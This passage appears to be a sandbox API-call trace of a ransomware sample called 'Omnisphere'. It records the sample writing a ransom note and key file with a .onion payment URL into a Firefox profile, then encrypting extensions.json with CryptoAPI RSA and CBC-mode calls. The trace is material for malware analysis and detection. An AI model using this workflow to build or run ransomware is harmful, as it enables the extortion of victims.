lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0156.909] GetProcessHeap () returned 0x1600000 [0156.909] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1730708 [0156.910] PathCombineW (in: pszDest=0x1730708, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0156.910] GetProcessHeap () returned 0x1600000 [0156.910] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173cb08 [0156.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0156.910] WriteFile (in: hFile=0x288, lpBuffer=0x173cb08*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173cb08*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0156.910] CloseHandle (hObject=0x288) returned 1 [0156.910] GetProcessHeap () returned 0x1600000 [0156.910] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1744e88 | out: hHeap=0x1600000) returned 1 [0156.910] GetProcessHeap () returned 0x1600000 [0156.910] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c798 [0156.910] PathCombineW (in: pszDest=0x162c798, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0156.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0156.911] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0156.911] CloseHandle (hObject=0x288) returned 1 [0156.911] GetProcessHeap () returned 0x1600000 [0156.911] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c798 | out: hHeap=0x1600000) returned 1 [0156.911] GetProcessHeap () returned 0x1600000 [0156.911] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0156.911] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="crashes", cAlternateFileName="")) returned 1 [0156.911] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2d6a08c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="datareporting", cAlternateFileName="DATARE~1")) returned 1 [0156.911] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe967070, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe967070, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe967070, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x292e, dwReserved0=0x0, dwReserved1=0xcc, cFileName="extensions.json", cAlternateFileName="EXTENS~1.JSO")) returned 1 [0156.911] GetProcessHeap () returned 0x1600000 [0156.911] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162c458 [0156.911] PathCombineW (in: pszDest=0x162c458, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="extensions.json" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" [0156.911] StrStrW (lpFirst=".omnisphere", lpSrch=".json") returned 0x0 [0156.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0156.912] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=10542) returned 1 [0156.912] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x240a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0156.912] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0157.058] GetTickCount () returned 0x1167074 [0157.058] GetTickCount () returned 0x1167074 [0157.058] GetTickCount () returned 0x1167074 [0157.058] GetTickCount () returned 0x1167074 [0157.058] GetTickCount () returned 0x1167074 [0157.058] GetTickCount () returned 0x1167074 [0157.058] GetTickCount () returned 0x1167074 [0157.058] GetTickCount () returned 0x1167074 [0157.058] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] GetTickCount () returned 0x1167074 [0157.059] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668bd0) returned 1 [0157.060] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0157.060] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0157.061] CryptDestroyKey (hKey=0x1639b28) returned 1 [0157.061] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0157.061] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x292e, lpName=0x0) returned 0x3c0 [0157.061] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x292e) returned 0x1480000 [0157.063] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668f88) returned 1 [0157.064] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639568) returned 1 [0157.064] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.064] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.065] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.066] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.067] CryptEncrypt (in: hKey=0x1639568, 